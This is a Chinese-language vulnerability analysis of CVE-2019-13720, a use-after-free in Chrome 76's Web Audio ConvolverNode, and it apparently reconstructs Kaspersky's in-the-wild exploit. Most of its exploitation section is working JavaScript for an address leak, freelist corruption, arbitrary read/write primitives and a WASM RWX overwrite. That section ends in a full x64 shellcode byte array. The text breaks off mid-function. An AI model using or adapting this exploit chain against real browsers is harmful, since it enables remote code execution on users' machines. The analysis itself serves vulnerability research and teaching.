CVE-2019-13720

分析卡巴斯基 2019 年披露的在野利用 CVE-2019-13720

漏洞分析

复现

分析报告 记录了受影响的 Chrome 版本号 76.0.3809.87,依照获取旧版本的 Chrome 中记录的方法,构建出 Chrome.exe。


ℹ️NOTE:编译使用的 Clang 与最新的 MSVC 运行时不兼容,编译此版本需要安装 Visual Studio 2017


从分析报告提取出 POC 代码片段,拼凑成一个完整的 POC 页面,代码中缺少 getPartitionPageFreeListHeadEntryBySlotSize 函数,先补充一个空函数,稍后理解了 POC 后再把它补上了。

python -m http.server 为 POC 页面搭建一个本地站点,Chrome.exe 访问 http://localhost:8000/ 确认可以触发漏洞。

Web Audio API


ℹ️NOTE

POC 用到了很多 Web Audio API 相关的对象,推荐先看下 MDN 相关页面:


Web Audio API 提供了流式处理音频数据的能力,支持音频解码,音效处理等常用操作。

用法:先创建 AudioContext 对象,再创建多个音频节点,将它们连到一起组成音频处理图。AudioContext 对象有一个特殊的 desination 节点,代表最终输出的音频。处理图从源节点开始,到目的节点结束,中间可以连接多个音效节点。启动处理任务,音频数据就沿着图到达各个中间节点,经过中间节点的处理,再继续流转到下个节点。


ℹ️NOTE: 就类似于把电吉他、效果器、音箱等用线连好,之后在电吉他上进行操作,电吉他采集到的声音数据就顺着导线,经过效果器的处理,最终达到音箱播放出来。


示例代码:

const audioCtx = new AudioContext();

// load some sound
const audioElement = document.querySelector('audio');
const track = audioCtx.createMediaElementSource(audioElement);

// volume
const gainNode = audioCtx.createGain();

// panning
const pannerOptions = {pan: 0};
const panner = new StereoPannerNode(audioCtx, pannerOptions);

// connect our graph
track.connect(gainNode).connect(panner).connect(audioCtx.destination);

// audioElement.play();

处理好的声音也可以不播放出来,而是缓存起来。OfflineAudioContext 就实现了这样的处理流程,它会启动一个后台处理任务,在后台工作线程中处理音频,处理结果保存到缓存中,待处理完成后供主线程使用。

成因

漏洞是在 ConvolerNode 节点的处理逻辑中,这个节点属于音效处理节点,用来对音频进行混响(Convolution Reverb),混响是音频信号处理中的一种算法,用来把声音进行叠加处理,模拟真实环境中的声音传播时的反射和叠加,漏洞和其算法细节关系不大,可以把它当做一种黑盒算法,输入就是原始的音频数据和 Impulse Response (IR)两个向量(多维数组),输出就是混淆处理后的数据。IR 参数也是音频数据,JavaScript 中通过给 ConvolerNode.buffer 赋值来设置 IR 的值,对应的是 CPP 函数 ConvolverHandler::SetBuffer。漏洞就在这个函数里,给 SetBuffer 传一个空值时,它会释放 revert_shared_buffer_ 两个成员变量,但是这个操作没有加锁同步,如果其他线程正在使用这两个成员,就可能访问到释放后的内存。


ℹ️NOTE: 音频数据大多是多声道的,所以一般是用一个向量来表示的,向量的维度和声道一致,例如:单声道用一维向量,立体声用二维向量。漏洞利用过程中用到的都是单声道的一维向量。


void ConvolverHandler::SetBuffer(AudioBuffer* buffer,
                                 ExceptionState& exception_state) {
  DCHECK(IsMainThread());

  if (!buffer) {
    reverb_.reset();
    shared_buffer_ = nullptr;
    return;
  }
...
}

OfflineAudioContext 就可以构造出符合条件的场景,OfflineAudioContext 启动的音频处理任务是在后台工作线程中进行的,如果工作线程正要进行混响处理时,主线程中把 buffer 设置为 null,那么工作线程后续处理就可能读/写到已经释放的内存。


ℹ️NOTE: JavaScript 解释器是在 renderer 进程的主线程中运行的,执行音频处理这种耗时操作可能会阻塞其他代码的运行,影响用户界面响应。为了解决这个问题,耗时操作在 JavaScript 中一般都是在其他工作线程中异步处理的


调试混响处理的流程,在下面这个函数中找到两个利用点:

void ReverbConvolver::Process(const AudioChannel* source_channel,
                              AudioChannel* destination_channel,
                              uint32_t frames_to_process) {
  DCHECK(source_channel);
  DCHECK(destination_channel);
  DCHECK_GE(source_channel->length(), frames_to_process);
  DCHECK_GE(destination_channel->length(), frames_to_process);

  const float* source = source_channel->Data();
  float* destination = destination_channel->MutableData();
  DCHECK(source);
  DCHECK(destination);

  // Feed input buffer (read by all threads)
  input_buffer_.Write(source, frames_to_process); // <<<

  // Accumulate contributions from each stage
  for (wtf_size_t i = 0; i < stages_.size(); ++i)
    stages_[i]->Process(source, frames_to_process);

  // Finally read from accumulation buffer
  accumulation_buffer_.ReadAndClear(destination, frames_to_process); // <<<

  // Now that we've buffered more input, post another task to the background
  // thread.
  if (background_thread_) {
    PostCrossThreadTask(
        *background_thread_->GetTaskRunner(), FROM_HERE,
        CrossThreadBindOnce(&ReverbConvolver::ProcessInBackground,
                            CrossThreadUnretained(this)));
  }
}

ReverbConvolverreverb_ 的成员,input_buffer_accumulation_buffer_ 这两个数组又是 ReverbConvolver 的成员,所以 reverb_ 析构时,input_buffer_accumulation_buffer_ 会被释放。如果释放后立刻执行到写入,input_buffer_.Write 就可以把数据写入释放后的内存。类似的 accumulation_buffer_.ReadAndClear 可以读到释放后的内存。

利用

PartitionAlloc

理解利用要先了解 PartitionAlloc 的元数据,下面的信息针对 76.0.3809.87 这个版本:

  • PartitionAlloc 将堆分成多个 Partition,每种类型都固定从一个 Partition 申请内存,这样就可以把不同类型的对象在内存上隔离开,增加漏洞利用的难度。例如 ArrayBuffer 这种漏洞利用中常用的结构,被隔离到专用的 Partition 中,即使 ArrayBuffer 出现了越界读写问题,仅借助越界读写是不能跨越界限读到其他 Partition 的内容的。
  • PartitionAlloc 以 SuperPage (2 MiB) 为粒度从系统申请(预留)内存
  • 每个 SuperPage 被分割成多个 PartitionPage (16 KiB),首尾两个 PartitionPage 除第一个 PartitionPage 中第二个物理页面会被提交,其他部分都预留为不可访问的 guard page
  • 第一个 PartitionPage 中的特殊页面,用来存放元数据,元数据可以先简单看成总计 4 KiB 的 base::internal::PartitionPage 数组,数组中每一项都对应着一个 PartitionPage,结构中存储了此 PartitionPage 的空闲块链表头,后继页地址,当前页状态等信息。 例如:元数据数组下标 1 处,存放的就是第二个 PartitionPage 的元数据 注意这里有两个 PartionPage,一个代表页面的单位,另一个是代表存储元数据的结构体。
  • PartitionPage 被分割成大小相同的内存块 (slot),元数据中的空闲链表里存放着本页面内所有空闲内存块,此链表是一个单链表,采用的是头插法
  • 每个 Partition 都有一组桶,每个桶都对应一个特定的大小,桶内存储一个 PartitionPage 元数据的地址,此页面的内存块大小和桶的大小匹配。这样在申请内存时,可以根据目的大小快速找到对应的桶,从桶指向的页面的空闲列表中分配一个满足条件的内存块。
  • 内存块释放时,PartitionAlloc 用内存块地址计算出其所在页面的元数据的地址,将其插入空闲链表中。计算方法:通过与位运算算出 SuperPage 的地址,位运算算出内存块所在 PartitionPage 相对 SuperPage 的索引 i,最后通过 SuperPage + 4 KiB + i * sizeof(PartitionPage) 计算出元数据的地址。

更多内容参考:

创建 IIRFilters

申请一组 IIRFilter 供后续利用使用,其他信息后面用到时再说明。

function initialSetup() {
	let audioCtx = new OfflineAudioContext(1, 20, 3000);

	let feedForward = new Float64Array(2);
	let feedback = new Float64Array(1);

	feedback[0] = 1;
	feedForward[0] = 0;
	feedForward[1] = -1;

	for (let i = 0; i < 512; i++)
		iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}

泄露地址

accumulation_buffer_input_buffer_ 内部都有一个名为 buffer_AudioArray 成员变量,负责管理内部缓冲区。AudioArray 直接从 PartitionAlloc 申请所需的内存。

AudioArray 的析构函数会释放之前申请的内存块,由 PartitionAlloc 把它插入所属页面的空闲链表,把下一个空闲块指针写入内存块开头的 8 字节。因此,在 ArrayBuffer 把缓冲区释放后再读取其内容,就可以读到后继空闲块的地址。漏洞利用的第一部分就是利用 accumulation_buffer_ 读取到这个地址。


ℹ️NOTE: 从 ParitionAlloc 申请的内存地址,存放在 AudioArray::allocation_


代码:

async function triggerUaF(doneCb) {
	let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
	let bufferSource = audioCtx.createBufferSource();
	let convolver = audioCtx.createConvolver();
	let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
	let channelBuffer = audioCtx.createBuffer(1, 1, 48000);

	convolver.buffer = channelBuffer;
	bufferSource.buffer = channelBuffer;

	bufferSource.loop = true;
	bufferSource.loopStart = 0;
	bufferSource.loopEnd = 1;

	channelBuffer.getChannelData(0).fill(0);

	bufferSource.connect(convolver);
	convolver.connect(scriptNode);
	scriptNode.connect(audioCtx.destination);

	bufferSource.start();

	let finished = false;

	scriptNode.onaudioprocess = function(evt) {
    		let channelDataArray =
	    		new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);

    		for (let j = 0; j < channelDataArray.length; j++) {
        		if (j + 1 < channelDataArray.length &&
	        		channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
            			let u64Array = new BigUint64Array(1);
            			let u32Array = new Uint32Array(u64Array.buffer);
            			u32Array[0] = channelDataArray[j + 0];
            			u32Array[1] = channelDataArray[j + 1];

            			let leakedAddr = byteSwapBigInt(u64Array[0]);
            			if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                			leakedAddr -= BigInt(0x800000000000);

             			let superPageBase = getSuperPageBase(leakedAddr);

	             		if (superPageBase > BigInt(0xFFFFFFFF) &&
		             		superPageBase < BigInt(0xFFFFFFFFFFFF)) {
                			finished = true;
                			evt = null;

                			bufferSource.disconnect();
                			scriptNode.disconnect();
                			convolver.disconnect();

                			setTimeout(function() {
                     			doneCb(leakedAddr);
                			}, 1);

                			return;
            			}
        		}
    		}
	};

	audioCtx.startRendering().then(function(buffer) {
    		buffer = null;

    		if (!finished) {
        	 	finished = true;
       	  	triggerUaF(doneCb);
    		}
	});

	while (!finished) {
    		convolver.buffer = null;
    		convolver.buffer = channelBuffer;
    		await later(100); // wait 100 millseconds
	}
}

function later(delay) {
	return new Promise(resolve => setTimeout(resolve, delay));
}

function byteSwapBigInt(x) {
  let result = BigInt(0);
  let tmp = x;

  for (let i = 0; i < 8; i++) {
    result = result << BigInt(8);
    result += tmp & BigInt(0xFF);
    tmp = tmp >> BigInt(8);
  }

  return result;
}

思路如下:

  • 创建一段全 0 的音频数据 channelBuffer
  • 创建节点:
    • 音源节点 bufferSource,以 channelBuffer 为输入
    • 混响处理节点 convolerNode,IR 参数为 channelBuffer
    • 脚本处理节点 scriptNode,利用其 onaudioprocess 事件处理函数,检查混响输出的数据
  • 连接上面的所有节点,构造 bufferSouce -> convolerNode -> scriptNode -> destination 处理图,其中 destination 是 OfflineAudioContext 内部的特殊节点,代表数据处理的结果
  • 调用 startRendering() 函数,启动音频处理任务,这个函数返回的是 Promise 对象,调用其 then 设置一个回调函数,在任务完成后检查漏洞是否利用成功,如果没成功则递归调用 trigerUaF 继续触发漏洞
  • startRendering 只是发送一个任务到音频处理线程,不会等待任务的处理,在其返回后主线程继续执行后续代码,执行到 while 循环,不断的在 nullchannelBuffer 之间赋值混淆节点的 buffer

对全 0 数据做混响,得到的结果应该还是全 0,如果混响的结果中包含了非 0 数据,就说明漏洞被成功触发了,混响过程中读到了下一个空闲块的指针。scriptNode 的事件处理就是在检查混响输出的数据,在其中查找这个指针,这个指针是大小端翻转过的,在读取到以后要用 byteSwapBigInt 把它复原。


ℹ️NOTE: PartitionAlloc 为了缓解漏洞利用,把空闲链表的指针大小端翻转存储。


计算 IIRFilter.feedforward_ 地址

IIRFilter 内部也有一个 AudioArray 成员 IIRFilter::feedforward_。用上一步泄露出的地址,加上固定的偏移,就可以计算出 IIRFilter.feedforward_ 的地址。


ℹ️NOTE: 水平所限我不能确定这个固定偏移的来源,我推测是每次 JavaScript 代码运行过程中分配的对象大致相同,整体占用内存也不多,就使得两块内存一般在同一个 SuperPage 中且间隔页面大致固定。


function initialUAFCallback(addr) {
  let partitionPageIndexDelta = undefined;
  sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);

  switch (majorVersion) {
    case 77: // 77.0.3865.75
      partitionPageIndexDelta = BigInt(-26);
      break;

    case 76: // 76.0.3809.87
      partitionPageIndexDelta = BigInt(-25);
      break;
  }

  iirFilterFeedforwardAllocationPtr =
	  getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) +
		partitionPageIndexDelta) + BigInt(0x1FF0);

  triggerSecondUAF(
	  byteSwapBigInt(iirFilterFeedforwardAllocationPtr),
	  finalUAFCallback
	 );
}

释放 IIRFilter.feedforward_

async function triggerSecondUAF(addr, doneCb) {
  let counter = 0;
  let numChannels = 1;
  let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
  let bufferSource = audioCtx.createBufferSource();
  let convolver = audioCtx.createConvolver();
  let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
  let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);

  smallAudioBuffer.getChannelData(0).fill(0);

  for (let i = 0; i < numChannels; i++) {
    let channelDataArray =
	    new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
    channelDataArray[0] = addr;
  }

  bufferSource.buffer = bigAudioBuffer;
  convolver.buffer = smallAudioBuffer;

  bufferSource.loop = true;
  bufferSource.loopStart = 0;
  bufferSource.loopEnd = 1;

  bufferSource.connect(convolver);
  convolver.connect(audioCtx.destination);

  bufferSource.start();

  let finished = false;

  audioCtx.startRendering().then(function (buffer) {
    buffer = null;

    if (finished) {
      audioCtx = null;
      setTimeout(doneCb, 200);
      return;
    } else {
      finished = true;
      setTimeout(function () {
        triggerSecondUAF(addr, doneCb);
      }, 1);
    }
  });

  while (!finished) {
    counter++;
    convolver.buffer = null;

    await later(1); // wait 1 millisecond
    if (finished)
      break;

    for (let i = 0; i < iirFilters.length; i++) {
      floatArray.fill(0);
      iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);

      if (floatArray[0] != 3.1415927410125732) {
        finished = true;
       // << 申请被释放掉的 IIRFilter.feedforward_
        audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
        audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
        bufferSource.disconnect();
        convolver.disconnect();
        return;
      }
    }

    await later(1); // wait 1 millisecond
    convolver.buffer = smallAudioBuffer;
  }
}

IIRFilter.Feewordward_ 的地址把 AudioBuffer 填满,之后再次触发漏洞,利用 accumulation_buffer_,把 IIRFilter.feedforward_ 的地址写入释放后的内存块开头,就相当于把 IIRFilter.feedforward_ 指向的缓冲区插入 accumulation_buffer_ 所属页面的空闲链表。

IIRFilter.feedforward_accumulation_buffer_ 两个内存块的大小不同,所属页面也一定不同,IIRFilter.feedforward_ 其实是被插入到了错误的链表上,但是这并不影响漏洞利用,后续对 AudioArray::Allocate 函数调用会申请到这块内存,之后这块内存再次被释放时,释放动作就会把它插入到正确的页面中,就修正了之前的错误。


ℹ️NOTE: 我调试来看由于利用代码故意选择了 0xf0 结尾的内存地址,此内存块的地址不满足 AudioBuffer 的 0x20 对齐要求,AudioBuffer 在申请到以后并不会使用这块内存,直接就释放了。


woid AudioArray::Allocate(size_t n) {
	// Although n is a size_t, its true limit is max unsigned because we use
	// unsigned in zeroRange() and copyToRange(). Also check for integer
	// overflow.
	CHECK_LE(n, std::numeric_limits<unsigned>::max() / sizeof(T));
	uint32_t initial_size = static_cast<uint32_t>(sizeof(T) * n);

#if defined(ARCH_CPU_X86_FAMILY) || defined(WTF_USE_WEBAUDIO_FFMPEG)
	const unsigned kAlignment = 32;
#else
	const unsigned kAlignment = 16;
#endif

	if (allocation_)
		WTF::Partitions::FastFree(allocation_);

	bool is_allocation_good = false;

	while (!is_allocation_good) {
		// Initially we try to allocate the exact size, but if it's not aligned
		// then we'll have to reallocate and from then on allocate extra.
		static unsigned extra_allocation_bytes = 0;

		unsigned total =
				base::CheckAdd(initial_size, extra_allocation_bytes).ValueOrDie();
		T* allocation = static_cast<T*>(WTF::Partitions::FastZeroedMalloc(
				total, WTF_HEAP_PROFILER_TYPE_NAME(AudioArray<T>)));
		CHECK(allocation);

		T* aligned_data = AlignedAddress(allocation, kAlignment);

		if (aligned_data == allocation || extra_allocation_bytes == kAlignment) {
			allocation_ = allocation;
			aligned_data_ = aligned_data;
			size_ = static_cast<uint32_t>(n);
			is_allocation_good = true;
		} else {
			// always allocate extra after the first alignment failure.
			extra_allocation_bytes = kAlignment;
			WTF::Partitions::FastFree(allocation);
		}
	}
}

通过 IIRFilter.getFrequencyResponse 函数读取 IIRFilter::feedforwwrd_ 存储的数据,运算后写入输出缓冲区。正常情况下 IIRFilter::feedforward_ 内容是 0, 运算结果是 π。漏洞利用成功后 IIRFilter::feedforwrd_ 的内容被改写成了空闲链表的下一项指针,返回值也一定改变了,所以通过此函数可以判断漏洞是否利用成功。

IIRFilter:: feedforward_ 使用 0x30 字节的缓冲区, ArrayBufferContents::DataHolder 也占 0x30 字节,把 IIRFilter::feedforward_ 插入空闲链表后,再申请 ArrayBufferContents::DataHolder,就可以把 IIRFilter::feedforward_ 所在内存块再次申请出来,这样就得到指向同一个内存块的 IIRFilter::feedforward_ArrayBufferContent::DataHolder


ℹ️NOTE: IIRFilter::feedforward_ 存储两个 double 仅需要 0x10 字节,但由于 AudioArray 的对齐要求,会多申请 0x20 字节,所以实际使用的 0x30 字节的内存块。


  • ArrayBufferContents::DataHolder
    • 0x00 ref_count_ 引用计数
    • 0x08 data_ 缓冲区,属于 ArrayBufferPartition
    • 0x10 data_length_ 缓冲区长度
    • 0x18 deleter_ 释放函数
    • 0x20 deleter_info_ 释放附加信息
    • 0x28 is_shared_
    • 0x2C has_registerd_external_allocation_

ArrayBufferContents::DataHolder 被用在 WTF::ArrayBuffer 内部,管理从 PartitionAlloc 申请的内存块。而 WTF::ArrayBuffer 又被 blink::AudioBufferblink::ImageData 用做内部数据存储。这样一来,创建 AudioBufferImageData,就相当于创建 ArrayBufferContents::DataHolder。代码 audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000)); 就是在创建 ArrayBufferContents::DataHolder 来占坑刚刚被释放的 IIRFilter::feedforward_`。

任意地址读写

async function finalUAFCallback() {
	for (let i = 0; i < 256; i++) {
		floatArray.fill(0);

		iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);

		if (floatArray[0] != 3.1415927410125732) {
			await collectGargabe();

			audioBufferArray2 = [];

			for (let j = 0; j < 80; j++)
				audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));

			iirFilters = new Array(1);
			await collectGargabe();

			for (let j = 0; j < 336; j++)
				imageDataArray.push(new ImageData(1, 2));

			imageDataArray = new Array(10);
			await collectGargabe();

			for (let j = 0; j < audioBufferArray1.length; j++) {
				let auxArray = new
					BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
				if (auxArray[0] != BigInt(0)) {
					kickPayload(auxArray);
					return;
				}
			}
			return;
		}
	}
}

function collectGargabe() {
	let promise = new Promise(function (cb) {
		let arg;
		for (let i = 0; i < 400; i++)
			new ArrayBuffer(1024 * 1024 * 60).buffer;
		cb(arg);
	});
	return promise;
}

IIRFilterImageDataAudioBuffer 这几个对象,及其内部的一些成员,是由 Oilpan GC 管理的,为了确保它们在特定的时刻被释放,需要主动触发 GC,collectGarbage 函数通过申请多个 ArrayBuffer 占用大量内存来触发 GC。

我们已经构造出使用同一地址的 IIRFilter::feedforward_ArrayBufferContents::DataHolder 两个对象。接下来把 IIRFilter 销毁,再创建另一个 ArrayBufferContents::DataHolder 对象,由于两个对象共用同一块内存,此操作就相当于把前一个 ArrayBufferContents::DataHolder 的内容改写掉了。之后再把第二个 DataHolder 销毁, DataHolder 的第一个 QWORD 的值被改为空闲链表的下一项,但由于这个地方存储的是引用计数 ref_count_ ,改写后还是一个合理的引用计数,并不影响 DataHolder 后续使用。而 0x10 处存放的缓冲区 DataHolder::data_ 内容不变,但是其所指向的内存已经被释放掉了。这个缓冲区可以通过 ArrayBuffer::getChannelData(0).buffer 访问到,这样我们通过第一个 DataHolder 就可以访问到已经被释放的 DataHolder::data_

async function kickPayload(auxArray) {
	let audioCtx = new OfflineAudioContext(1, 1, 3000);
	let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
	auxArray[0] = byteSwapBigInt(partitionPagePtr);
	let i = 0;
	do {
    		gcPreventer.push(new ArrayBuffer(8));
    		if (++i > 0x100000)
        		return;
	} while (auxArray[0] != BigInt(0));
	let freelist = new BigUint64Array(new ArrayBuffer(8));
	gcPreventer.push(freelist);

	...

audioBufferArray1[j].getChannelData(0).buffer 为缓冲,创建一个 BigUint64Array auxArray 就可以读写这块已经释放的内存。auxArray 开头的 8 字节已经被写入后继空闲块的地址,读出这个地址,计算出本页面元数据的地址,用元数据的地址替换后续空闲块地址,之后申请多个 8 字节的 ArrayBuffer,直到 auxArray 被填充成 0。auxArray 只有到被当做 ArrayBuffer 分配出来时,才会被 ArrayBuffer 的构造函数填 0。这个时候元数据中的 FreeListHead,已经被写入了之前在 auxArray[0] 中存储的值 &FreeListHead,也就是说这个时候 FreeListHead 指向了它本身。之后在申请 8 字节的 ArrayBuffer,就把 FreeListHead 所在内存块当做 ArrayBuffer 分配出,这样一来,修改 freelist[0] 的值,就相当于修改 FreeListHead 的指向。把 freelist[0] 改成任意地址,再申请 8 字节的 ArrayBuffer,就得到了指向这个地址 ArrayBuffer,也就是得到了任意地址读写的能力。另外由于 FreeListHead 已经被我们“挪用”了,为了保证利用代码的稳定,申请到的 8 字节对象都不能再被释放了,需要加入到 gcPreventer 数组中防止 GC 回收。


ℹ️NOTE*: 卡巴斯基的分析中提到,这部分代码还有整理碎片内存,提升漏洞利用稳定性的作用,水平所限我还不能理解这部分功能,这里先忽略了。


function read64(rwHelper, addr) {
  rwHelper[0] = addr;
  var tmp = new BigUint64Array;
  tmp.buffer;
  gcPreventer.push(tmp);
  return byteSwapBigInt(rwHelper[0]);
}

function write64(rwHelper, addr, value) {
  rwHelper[0] = addr;
  var tmp = new BigUint64Array(1);
  tmp.buffer;
  tmp[0] = value;
  gcPreventer.push(tmp);
}

freeList 配合上这两个函数,就可以实现任意内存读写了。read64 把目标地址填入链表头,之后申请内存,就相当于读取链表头地址的前 8 字节,交换大小端后存入链表头。write64 把目标地址存入链表头,之后申请内存,申请到的内存块就指向之前填入的地址,写入此内存块就是写入目标地址。

执行 shellcode

接下来执行 shellcode:

  • 实例化 WASM 模块构造一段 RWX 内存区域,将导出函数 main 赋值到 wasmFuncA
  • 预测 fileReaderLoader 的地址
  • 创建 fileReader,将 fileReader.onerror 设置为 wasmFuncA
  • 用 fileReaderLoader 计算出 fileReader 的地址,再从 fileReader 的事件处理中读取到 wasmFuncA ,最终读取到 RWX 内存区的地址
  • 预测 WTF::ArrayBuffer 的地址,之后创建 AudioBuffer
  • 根据预测的 ArrayBuffer 的地址,改写 ArrayBuffer 指向到 RWX 内存区域
  • 把 shellcode 写入 ArrayBuffer
  • 调用 wasmFuncA,触发 shellcode 执行

获取 filereaderLoader 对象地址的方法需要额外说明下,前面介绍过每个 Partition 都有一组桶,用来查找包含指定大小内存块的 PartitionPage,如果可以读到这个桶中当前存放的数据,就可以预测到下次内存分配的结果,getPartitionPageFreeListHeadEntryBySlotSize 就是按照这个思路实现的,PartitionPage 的元数据中存放了指向桶的指针,已知 iirFilterFeedforwardAllocationPtr 指向 0x30 字节的内存块,可以利用它的值读到 0x30 的桶,所有的桶共都存储在同一个数组中,有了 0x30 的桶,我们加上固定的偏移,就可以得到其他大小的桶。从桶中读出活动页面 PartitionPage 元数据的指针,再从元数据中读出下一个空闲内存块的地址。

async function kickPayload(auxArray) {

...
	// 接上部分
	const wasmBuffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
	const wasmBlob = new Blob([wasmBuffer], {
		type: "application/wasm"
	});

  const wasmUrl = URL.createObjectURL(wasmBlob);
	var wasmFuncA = undefined;
	let result = await WebAssembly.instantiateStreaming(fetch(wasmUrl), {})
	wasmFuncA = result.instance.exports.main;

	// 预测 fileReaderLoader 地址
	let fileReader = new FileReader;
	let fileReaderLoaderSize = 0x140;

	let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist,
		iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
	if (!fileReaderLoaderPtr)
		return;

	fileReader.readAsArrayBuffer(new Blob([]));

	let fileReaderLoaderTestPtr =
		getPartitionPageFreeListHeadEntryBySlotSize(freelist,
		iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
	if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
		return;

	// 设置 fileReader 的 onerror 事件处理
	fileReader.onerror = wasmFuncA;

	// fileReaderLoader -> fileReader -> onerror/wasmFuncA -> RWX
	let fileReaderPtr = read64(freelist,
		fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
	let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
  let registeredEventListenerPtr = read64(freelist, vectorPtr);
  let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
  let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
  let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));

  let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
  let sharedFuncInfoPtr = read64(freelist,
	  jsFunctionPtr + BigInt(0x18)) - BigInt(1);
  let wasmExportedFunctionDataPtr = read64(freelist,
	  sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
  let wasmInstancePtr = read64(freelist,
	  wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
	 
  let stubAddrFieldOffset = undefined;
  switch (majorVersion) {
    case 77:
      stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
      break;

    case 76:
      stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
      break;
  }
  let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

	// 预测 ArrayBuffer 的地址
  let arrayBufferSize = 0x20;
  let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
  if (!arrayBufferPtr)
    return;

  let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
  gcPreventer.push(audioBuffer);

	// 修改 DataHolder 的 data_ 和 data_length_
  let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
  write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
  write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

  // 用 shellcode 改写 wasmFuncA
  let shellcode = new Uint8Array([
    0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
    0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
    0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
    0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
    0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
    0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
    0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
    0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
    0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
    0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
    0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
    0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
    0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
    0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
    0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
    0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
    0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
    0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
    0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
    0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
    0xEC, 0x30, 0x66, 0x81, 0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6
  ]);

  let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
  payloadArray.set(shellcode, 0);

	// FreeListHead 填 0
  write64(freelist, partitionPagePtr, BigInt(0));

  try {
    wasmFuncA();
  } catch (e) { }
}

function getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirAddr, slot_size) {
  let meta = getPartitionPageMetadataArea(iirAddr);

  let getMetaByPageIndex = function (i) {
    const sizeOfMeta = BigInt(0x20);
    return meta + BigInt(i) * sizeOfMeta;
  }

  const offsetBucket = BigInt(0x10);
  let slot = read64(freelist, meta + offsetBucket);
  const offsetSlotSize = BigInt(0x18);
